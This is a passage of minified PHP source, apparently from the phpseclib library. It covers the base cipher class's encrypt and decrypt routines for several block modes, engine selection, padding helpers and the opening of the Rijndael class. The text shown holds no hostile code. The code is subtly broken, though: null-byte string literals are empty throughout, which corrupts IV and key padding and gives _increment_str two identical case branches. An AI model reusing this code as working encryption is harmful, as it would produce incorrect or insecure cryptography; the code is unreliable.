CRYPT_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor); } $this->_increment_str($xor); $key = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } break; case CRYPT_MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$buffer['pos']; } else { $iv = $this->encryptIV; $pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); } while ($len >= $block_size) { $iv = $this->_encryptBlock($iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } if ($len) { $iv = $this->_encryptBlock($iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } break; case CRYPT_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.= substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case CRYPT_MODE_STREAM: $ciphertext = $this->_encryptBlock($plaintext); break; } return $ciphertext; } function decrypt($ciphertext) { if ($this->paddable) { $ciphertext = str_pad($ciphertext, strlen($ciphertext) + ($this->block_size - strlen($ciphertext) % $this->block_size) % $this->block_size, chr(0)); } if ($this->engine === CRYPT_ENGINE_OPENSSL) { if ($this->changed) { $this->_clearBuffers(); $this->changed = false; } switch ($this->mode) { case CRYPT_MODE_STREAM: $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options); break; case CRYPT_MODE_ECB: if (!defined('OPENSSL_RAW_DATA')) { $ciphertext.= openssl_encrypt('', $this->cipher_name_openssl_ecb, $this->key, true); } $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options); break; case CRYPT_MODE_CBC: if (!defined('OPENSSL_RAW_DATA')) { $padding = str_repeat(chr($this->block_size), $this->block_size) ^ substr($ciphertext, -$this->block_size); $ciphertext.= substr(openssl_encrypt($padding, $this->cipher_name_openssl_ecb, $this->key, true), 0, $this->block_size); $offset = 2 * $this->block_size; } else { $offset = $this->block_size; } $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $this->decryptIV); if ($this->continuousBuffer) { $this->decryptIV = substr($ciphertext, -$offset, $this->block_size); } break; case CRYPT_MODE_CTR: $plaintext = $this->_openssl_ctr_process($ciphertext, $this->decryptIV, $this->debuffer); break; case CRYPT_MODE_CFB: $plaintext = ''; if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$this->buffer['pos']; } else { $iv = $this->decryptIV; $pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $this->block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); $ciphertext = substr($ciphertext, $i); } $overflow = $len % $this->block_size; if ($overflow) { $plaintext.= openssl_decrypt(substr($ciphertext, 0, -$overflow), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); if ($len - $overflow) { $iv = substr($ciphertext, -$overflow - $this->block_size, -$overflow); } $iv = openssl_encrypt(str_repeat("", $this->block_size), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $plaintext.= $iv ^ substr($ciphertext, -$overflow); $iv = substr_replace($iv, substr($ciphertext, -$overflow), 0, $overflow); $pos = $overflow; } elseif ($len) { $plaintext.= openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = substr($ciphertext, -$this->block_size); } break; case CRYPT_MODE_OFB: $plaintext = $this->_openssl_ofb_process($ciphertext, $this->decryptIV, $this->debuffer); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } if ($this->engine === CRYPT_ENGINE_MCRYPT) { $block_size = $this->block_size; if ($this->changed) { $this->_setupMcrypt(); $this->changed = false; } if ($this->dechanged) { @mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); $this->dechanged = false; } if ($this->mode == CRYPT_MODE_CFB && $this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$this->debuffer['pos']; $len = strlen($ciphertext); $plaintext = ''; $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } if ($len >= $block_size) { $cb = substr($ciphertext, $i, $len - $len % $block_size); $plaintext.= @mcrypt_generic($this->ecb, $iv . $cb) ^ $cb; $iv = substr($cb, -$block_size); $len%= $block_size; } if ($len) { $iv = @mcrypt_generic($this->ecb, $iv); $plaintext.= $iv ^ substr($ciphertext, -$len); $iv = substr_replace($iv, substr($ciphertext, -$len), 0, $len); $pos = $len; } return $plaintext; } $plaintext = @mdecrypt_generic($this->demcrypt, $ciphertext); if (!$this->continuousBuffer) { @mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } if ($this->changed) { $this->_setup(); $this->changed = false; } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $block_size = $this->block_size; $buffer = &$this->debuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $plaintext.= $this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case CRYPT_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor); $this->_increment_str($xor); } $key = $this->_string_shift($buffer['ciphertext'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } break; case CRYPT_MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$buffer['pos']; } else { $iv = $this->decryptIV; $pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } while ($len >= $block_size) { $iv = $this->_encryptBlock($iv); $cb = substr($ciphertext, $i, $block_size); $plaintext.= $iv ^ $cb; $iv = $cb; $len-= $block_size; $i+= $block_size; } if ($len) { $iv = $this->_encryptBlock($iv); $plaintext.= $iv ^ substr($ciphertext, $i); $iv = substr_replace($iv, substr($ciphertext, $i), 0, $len); $pos = $len; } break; case CRYPT_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $plaintext.= substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case CRYPT_MODE_STREAM: $plaintext = $this->_decryptBlock($ciphertext); break; } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } function _openssl_ctr_process($plaintext, &$encryptIV, &$buffer) { $ciphertext = ''; $block_size = $this->block_size; $key = $this->key; if ($this->openssl_emulate_ctr) { $xor = $encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $result = openssl_encrypt($xor, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); $result = !defined('OPENSSL_RAW_DATA') ? substr($result, 0, -$this->block_size) : $result; $buffer['ciphertext'].= $result; } $this->_increment_str($xor); $otp = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $otp; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $otp = openssl_encrypt($xor, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); $otp = !defined('OPENSSL_RAW_DATA') ? substr($otp, 0, -$this->block_size) : $otp; $this->_increment_str($xor); $ciphertext.= $block ^ $otp; } } if ($this->continuousBuffer) { $encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } return $ciphertext; } if (strlen($buffer['ciphertext'])) { $ciphertext = $plaintext ^ $this->_string_shift($buffer['ciphertext'], strlen($plaintext)); $plaintext = substr($plaintext, strlen($ciphertext)); if (!strlen($plaintext)) { return $ciphertext; } } $overflow = strlen($plaintext) % $block_size; if ($overflow) { $plaintext2 = $this->_string_pop($plaintext, $overflow); $encrypted = openssl_encrypt($plaintext . str_repeat("", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $temp = $this->_string_pop($encrypted, $block_size); $ciphertext.= $encrypted . ($plaintext2 ^ $temp); if ($this->continuousBuffer) { $buffer['ciphertext'] = substr($temp, $overflow); $encryptIV = $temp; } } elseif (!strlen($buffer['ciphertext'])) { $ciphertext.= openssl_encrypt($plaintext . str_repeat("", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $temp = $this->_string_pop($ciphertext, $block_size); if ($this->continuousBuffer) { $encryptIV = $temp; } } if ($this->continuousBuffer) { if (!defined('OPENSSL_RAW_DATA')) { $encryptIV.= openssl_encrypt('', $this->cipher_name_openssl_ecb, $key, $this->openssl_options); } $encryptIV = openssl_decrypt($encryptIV, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); if ($overflow) { $this->_increment_str($encryptIV); } } return $ciphertext; } function _openssl_ofb_process($plaintext, &$encryptIV, &$buffer) { if (strlen($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $block_size = $this->block_size; $len = strlen($plaintext); $key = $this->key; $overflow = $len % $block_size; if (strlen($plaintext)) { if ($overflow) { $ciphertext.= openssl_encrypt(substr($plaintext, 0, -$overflow) . str_repeat("", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $xor = $this->_string_pop($ciphertext, $block_size); if ($this->continuousBuffer) { $encryptIV = $xor; } $ciphertext.= $this->_string_shift($xor, $overflow) ^ substr($plaintext, -$overflow); if ($this->continuousBuffer) { $buffer['xor'] = $xor; } } else { $ciphertext = openssl_encrypt($plaintext, $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); if ($this->continuousBuffer) { $encryptIV = substr($ciphertext, -$block_size) ^ substr($plaintext, -$block_size); } } } return $ciphertext; } function _openssl_translate_mode() { switch ($this->mode) { case CRYPT_MODE_ECB: return 'ecb'; case CRYPT_MODE_CBC: return 'cbc'; case CRYPT_MODE_CTR: return 'ctr'; case CRYPT_MODE_CFB: return 'cfb'; case CRYPT_MODE_OFB: return 'ofb'; } } function enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function enableContinuousBuffer() { if ($this->mode == CRYPT_MODE_ECB) { return; } $this->continuousBuffer = true; $this->_setEngine(); } function disableContinuousBuffer() { if ($this->mode == CRYPT_MODE_ECB) { return; } if (!$this->continuousBuffer) { return; } $this->continuousBuffer = false; $this->changed = true; $this->_setEngine(); } function isValidEngine($engine) { switch ($engine) { case CRYPT_ENGINE_OPENSSL: if ($this->mode == CRYPT_MODE_STREAM && $this->continuousBuffer) { return false; } $this->openssl_emulate_ctr = false; $result = $this->cipher_name_openssl && extension_loaded('openssl') && version_compare(PHP_VERSION, '5.3.3', '>='); if (!$result) { return false; } if (!defined('OPENSSL_RAW_DATA')) { $this->openssl_options = true; } else { $this->openssl_options = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING; } $methods = openssl_get_cipher_methods(); if (in_array($this->cipher_name_openssl, $methods)) { return true; } switch ($this->mode) { case CRYPT_MODE_CTR: if (in_array($this->cipher_name_openssl_ecb, $methods)) { $this->openssl_emulate_ctr = true; return true; } } return false; case CRYPT_ENGINE_MCRYPT: return $this->cipher_name_mcrypt && extension_loaded('mcrypt') && in_array($this->cipher_name_mcrypt, @mcrypt_list_algorithms()); case CRYPT_ENGINE_INTERNAL: return true; } return false; } function setPreferredEngine($engine) { switch ($engine) { case CRYPT_ENGINE_MCRYPT: case CRYPT_ENGINE_INTERNAL: $this->preferredEngine = $engine; break; default: $this->preferredEngine = CRYPT_ENGINE_OPENSSL; } $this->_setEngine(); } function getEngine() { return $this->engine; } function _setEngine() { $this->engine = null; $candidateEngines = array( $this->preferredEngine, CRYPT_ENGINE_OPENSSL, CRYPT_ENGINE_MCRYPT ); foreach ($candidateEngines as $engine) { if ($this->isValidEngine($engine)) { $this->engine = $engine; break; } } if (!$this->engine) { $this->engine = CRYPT_ENGINE_INTERNAL; } if ($this->engine != CRYPT_ENGINE_MCRYPT && $this->enmcrypt) { @mcrypt_module_close($this->enmcrypt); @mcrypt_module_close($this->demcrypt); $this->enmcrypt = null; $this->demcrypt = null; if ($this->ecb) { @mcrypt_module_close($this->ecb); $this->ecb = null; } } $this->changed = true; } function _encryptBlock($in) { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } function _decryptBlock($in) { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } function _setupKey() { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } function _setup() { $this->_clearBuffers(); $this->_setupKey(); if ($this->use_inline_crypt) { $this->_setupInlineCrypt(); } } function _setupMcrypt() { $this->_clearBuffers(); $this->enchanged = $this->dechanged = true; if (!isset($this->enmcrypt)) { static $mcrypt_modes = array( CRYPT_MODE_CTR => 'ctr', CRYPT_MODE_ECB => MCRYPT_MODE_ECB, CRYPT_MODE_CBC => MCRYPT_MODE_CBC, CRYPT_MODE_CFB => 'ncfb', CRYPT_MODE_OFB => MCRYPT_MODE_NOFB, CRYPT_MODE_STREAM => MCRYPT_MODE_STREAM, ); $this->demcrypt = @mcrypt_module_open($this->cipher_name_mcrypt, '', $mcrypt_modes[$this->mode], ''); $this->enmcrypt = @mcrypt_module_open($this->cipher_name_mcrypt, '', $mcrypt_modes[$this->mode], ''); if ($this->mode == CRYPT_MODE_CFB) { $this->ecb = @mcrypt_module_open($this->cipher_name_mcrypt, '', MCRYPT_MODE_ECB, ''); } } if ($this->mode == CRYPT_MODE_CFB) { @mcrypt_generic_init($this->ecb, $this->key, str_repeat("", $this->block_size)); } } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length % $this->block_size == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size})"); $this->padding = true; } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { return false; } return substr($text, 0, -$length); } function _clearBuffers() { $this->enbuffer = $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0, 'enmcrypt_init' => true); $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, ""); if (!$this->skip_key_adjustment) { $this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, ""); } } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _string_pop(&$string, $index = 1) { $substr = substr($string, -$index); $string = substr($string, 0, -$index); return $substr; } function _increment_str(&$var) { for ($i = 4; $i <= strlen($var); $i+= 4) { $temp = substr($var, -$i, 4); switch ($temp) { case "": $var = substr_replace($var, "", -$i, 4); break; case "": $var = substr_replace($var, "", -$i, 4); return; default: $temp = unpack('Nnum', $temp); $var = substr_replace($var, pack('N', $temp['num'] + 1), -$i, 4); return; } } $remainder = strlen($var) % 4; if ($remainder == 0) { return; } $temp = unpack('Nnum', str_pad(substr($var, 0, $remainder), 4, "", STR_PAD_LEFT)); $temp = substr(pack('N', $temp['num'] + 1), -$remainder); $var = substr_replace($var, $temp, 0, $remainder); } function _setupInlineCrypt() { $this->use_inline_crypt = false; } function _createInlineCryptFunction($cipher_code) { $block_size = $this->block_size; $init_crypt = isset($cipher_code['init_crypt']) ? $cipher_code['init_crypt'] : ''; $init_encrypt = isset($cipher_code['init_encrypt']) ? $cipher_code['init_encrypt'] : ''; $init_decrypt = isset($cipher_code['init_decrypt']) ? $cipher_code['init_decrypt'] : ''; $encrypt_block = $cipher_code['encrypt_block']; $decrypt_block = $cipher_code['decrypt_block']; switch ($this->mode) { case CRYPT_MODE_ECB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$encrypt_block.' $_ciphertext.= $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in; } return $self->_unpad($_plaintext); '; break; case CRYPT_MODE_CTR: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_key = $in; $_ciphertext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len % '.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_key = $in; $_plaintext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_plaintext; '; break; case CRYPT_MODE_CFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_buffer = &$self->enbuffer; if ($self->continuousBuffer) { $_iv = &$self->encryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->encryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_ciphertext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, $_ciphertext, $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.'; $_iv = $in ^ substr($_text, $_i, '.$block_size.'); $_ciphertext.= $_iv; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_block = $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, $_block, 0, $_len); $_ciphertext.= $_block; $_pos = $_len; } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_buffer = &$self->debuffer; if ($self->continuousBuffer) { $_iv = &$self->decryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->decryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_plaintext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, substr($_text, 0, $_i), $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.' $_iv = $in; $cb = substr($_text, $_i, '.$block_size.'); $_plaintext.= $_iv ^ $cb; $_iv = $cb; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_plaintext.= $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, substr($_text, $_i), 0, $_len); $_pos = $_len; } return $_plaintext; '; break; case CRYPT_MODE_OFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_ciphertext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_plaintext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_plaintext; '; break; case CRYPT_MODE_STREAM: $encrypt = $init_encrypt . ' $_ciphertext = ""; '.$encrypt_block.' return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; '.$decrypt_block.' return $_plaintext; '; break; default: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $in = $self->encryptIV; for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.') ^ $in; '.$encrypt_block.' $_ciphertext.= $in; } if ($self->continuousBuffer) { $self->encryptIV = $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); $_iv = $self->decryptIV; for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = $_block = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in ^ $_iv; $_iv = $_block; } if ($self->continuousBuffer) { $self->decryptIV = $_iv; } return $self->_unpad($_plaintext); '; break; } return create_function('$_action, &$self, $_text', $init_crypt . 'if ($_action == "encrypt") { ' . $encrypt . ' } else { ' . $decrypt . ' }'); } function &_getLambdaFunctions() { static $functions = array(); return $functions; } function _hashInlineCryptFunction($bytes) { if (!defined('CRYPT_BASE_WHIRLPOOL_AVAILABLE')) { define('CRYPT_BASE_WHIRLPOOL_AVAILABLE', (bool)(extension_loaded('hash') && in_array('whirlpool', hash_algos()))); } $result = ''; $hash = $bytes; switch (true) { case CRYPT_BASE_WHIRLPOOL_AVAILABLE: foreach (str_split($bytes, 64) as $t) { $hash = hash('whirlpool', $hash, true); $result .= $t ^ $hash; } return $result . hash('whirlpool', $hash, true); default: $len = strlen($bytes); for ($i = 0; $i < $len; $i+=20) { $t = substr($bytes, $i, 20); $hash = pack('H*', sha1($hash)); $result .= $t ^ $hash; } return $result . pack('H*', sha1($hash)); } } } define('CRYPT_RIJNDAEL_MODE_CTR', CRYPT_MODE_CTR); define('CRYPT_RIJNDAEL_MODE_ECB', CRYPT_MODE_ECB); define('CRYPT_RIJNDAEL_MODE_CBC', CRYPT_MODE_CBC); define('CRYPT_RIJNDAEL_MODE_CFB', CRYPT_MODE_CFB); define('CRYPT_RIJNDAEL_MODE_OFB', CRYPT_MODE_OFB); class Crypt_Rijndael extends Crypt_Base { var $const_namespace = 'RIJNDAEL'; var $cipher_name_mcrypt = 'rijndael-128'; var $password_default_salt = 'phpseclib'; var $w; var $dw; var $Nb = 4; var $key_length = 16; var $Nk = 4; var $Nr; var $c; var $kl; function setKey($key) { if (!$this->explicit_key_length) { $length = strlen($key); switch (true) { case $length <= 16: $this->key_size = 16; break; case $length <= 20: $this->key_size = 20; break; case $length <= 24: $this->key_size = 24; break; case $length <= 28: $this->key_size = 28; break; default: $this->key_size = 32; } } parent::setKey($key); } function setKeyLength($length) { switch (true) { case $length <= 128: $this->key_length = 16; break; case $length <= 160: $this->key_length = 20; break; case $length <= 192: $this->key_length = 24; break; case $length <= 224: $this->key_length = 28; break; default: 